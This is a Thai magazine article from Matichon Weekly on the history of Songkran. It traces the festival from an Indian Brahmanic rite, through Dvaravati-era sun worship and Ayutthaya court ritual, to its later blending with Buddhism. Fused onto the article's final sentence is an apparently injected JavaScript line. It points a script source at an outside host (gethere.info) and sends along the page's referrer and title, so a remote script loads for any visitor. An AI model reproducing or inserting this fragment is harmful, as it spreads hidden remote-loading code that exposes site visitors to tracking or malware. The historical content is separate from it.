มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 5 กุมภาพันธ์ 2559

 

ประเพณี 12 เดือน

 

สงกรานต์ (เดือน 5) จากอินเดีย

ถึงอุษาคเนย์ (และไทย)

ราวหลัง พ.ศ. 1000

 

          ราชสำนักสุวรรณภูมิในอุษาคเนย์ ราวหลัง พ.ศ. 1000 (ยุคทวารวดี) รับศาสนาพราหมณ์จากอินเดีย พร้อมพิธีสงกรานต์ (เดือนเมษายน) แล้วเป็นมรดกตกทอดถึงยุคหลังๆ

          มีหลักฐานสำคัญเป็นประติมากรรมหินรูปพระสุริยเทพ ที่แสดงให้เห็นว่าราชสำนักยุคแรกเริ่มในดินแดนแถบนี้เริ่มรู้จักสงกรานต์ที่เป็นประเพณีของอินเดีย (ไม่ใช่ของไทย)

พระสุริยเทพ

พระสุริยเทพ

          พระสุริยเทพ ทำจากหิน ประติมากรรมสวมหมวกทรงกระบอก พระหัตถ์ทั้งสองทรงดอกบัว อายุราวหลัง พ.ศ. 1100

          พบหลายองค์ที่เมืองศรีเทพ อ. ศรีเทพ จ. เพชรบูรณ์ (ปัจจุบันจัดแสดงอยู่ที่พิพิธภัณฑสถานแห่งชาติ พระนคร)

          เป็นเทพเจ้าในลัทธิบูชาพระสุริยเทพตามคติศาสนาโซโลอัสเตอร์ วัฒนธรรมเปอร์เซีย (อิหร่าน) ต่อมาแนวคิดดังกล่าวแผ่ไปในอินเดีย แล้วกลายเป็นเสารัสสะนิกายหนึ่งในศาสนาพราหมณ์

          ทำให้เชื่อได้ว่าน่าจะมีคติการบูชาพระอาทิตย์อย่างเป็นหลักเป็นฐาน แล้วมีพิธีสงกรานต์ตามขนบอินเดีย ที่หมายถึงพระอาทิตย์โคจรข้ามจากราศีหนึ่งไปอีกราศีหนึ่ง

          [ภาพและคำอธิบายของ อ. รุ่งโรจน์ ภิรมย์อนุกูล มหาวิทยาลัยรามคำแหง มีคำอธิบายเพิ่มอีกในคอลัมน์สุวรรณภูมิฯ ฉบับวันนี้ หน้า 17]

 

สงกรานต์เริ่มในราชสำนัก

          สงกรานต์เป็นพิธีพราหมณ์จากอินเดีย เริ่มรับปฏิบัติก่อนในราชสำนักอุษาคเนย์

          เมื่อราชสำนักจารีตโบราณรับมาปฏิบัติเป็นแบบแผนเหมือนๆ กันหมด ราวหลัง พ.ศ. 1000 จึงจัดให้มีงานเฉลิมฉลองเพื่อแสดงความมั่นคงและมั่งคั่งของราชอาณาจักร

          มีทั้งส่วนที่คล้ายคลึงและแตกต่าง โดยขึ้นอยู่กับรัฐนั้นๆ นับถือศาสนาพราหมณ์เป็นหลัก หรือนับถือพุทธเป็นสำคัญ

          พระราชพิธีสงกรานต์ในราชสำนัก มีกำหนดแบบแผนไว้ในกฎมณเฑียรบาลยุคต้นอยุธยา มีพราหมณ์เป็นผู้ทำพิธี ผู้เข้าร่วมพิธีมีแต่ชนชั้นสูงในราชสำนัก เช่น พระเจ้าแผ่นดิน มเหสี โอรส-ธิดา เจ้านายเชื้อพระวงศ์ ขุนนาง ข้าราชการทั้งฝ่ายทหารและพลเรือน

          พิธีสำคัญมากเกี่ยวกับความมั่นคง คือพิธีถือน้ำพิพัฒน์สัตยา หรือดื่มน้ำสาบานว่าจะไม่คิดขบถทรยศต่อพระเจ้าแผ่นดิน จึงแต่งโองการแช่งน้ำด้วยฉันทลักษณ์ศักดิ์สิทธิ์ให้พราหมณ์เป็นผู้อ่านเป็นทำนองในพิธีต่อหน้าสิ่งศักดิ์สิทธิ์ เช่น เทวรูป พระพุทธรูป

          ดังมีพยานว่าสมัยต้นกรุงเทพฯ ต้องทำพิธีนี้ในโบสถ์วัดพระศรีรัตนศาสดาราม ต่อหน้าพระพักตร์พระแก้วมรกต เป็นเหตุให้สงกรานต์ของพราหมณ์ผสมกลมกลืนเข้ากับพุทธ (แล้วส่งแบบแผนสู่ชุมชนหมู่บ้านให้มีการสรงน้ำพระพุทธรูปและพระสงฆ์ ตลอดจนมีประเพณีและการละเล่นในวัดสืบจนทุกวันนี้)

 

ขึ้นปีใหม่ ยุคอยุธยา

          ยุคอยุธยา ราชสำนักมีราชประเพณีขึ้นฤดูกาลใหม่ (ขึ้นปีใหม่) ทั้ง 2 แบบ คือแบบเก่า กับแบบใหม่

          แบบเก่าทางจันทรคติ ตอนเดือนอ้าย (คือ เดือน 1 ) ราวพฤศจิกายน-ธันวาคม

          แบบใหม่ทางสุริยคติ ตอนเดือนห้า ตรงกับเมษายน

          มีหลักฐานสำคัญอยู่ในจดหมายเหตุลาลูแบร์ (แปลโดย สันต์ ท. โกมลบุตร สำนักพิมพ์ก้าวหน้า พิมพ์ครั้งแรก พ.ศ. 2510 หน้า 289) ดังนี้

          “เดือนแรกของเขาก็คงเป็นไปตามทางจันทรคติ ตกอยู่ในเดือนพฤศจิกายนหรือเดือนธันวาคมอย่างเดิม (เดือนอ้าย) คือไม่ละแบบเก่าอยู่นั่นเอง มาตรว่าจะลงศุภมาสไปตามแบบใหม่แล้วก็ตาม”

          “เดือนแรกของปีตามศักราชใหม่นั้นก็ตกเป็นเดือนห้าหรือเดือนหก (เมษายน) ตามแบบเก่านั้น”

          แต่ในหมู่ราษฎรไม่รู้จักสงกรานต์ เพราะเป็นพิธีกรรมที่พราหมณ์ทำอยู่ภายในราชสำนักเท่านั้น

          ในช่วงเวลาเดียวกันนี้ ราษฎรมีกิจกรรมตามประเพณีเลี้ยงผีบรรพชนเข้าทรงเสี่ยงทายแล้วแก้บน ให้ชุมชนมั่นคงและมั่งคั่งด้วยข้าวปลาอาหารที่ทำสืบเนื่องไม่น้อยกว่า 3,000 ปีมาแล้วs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;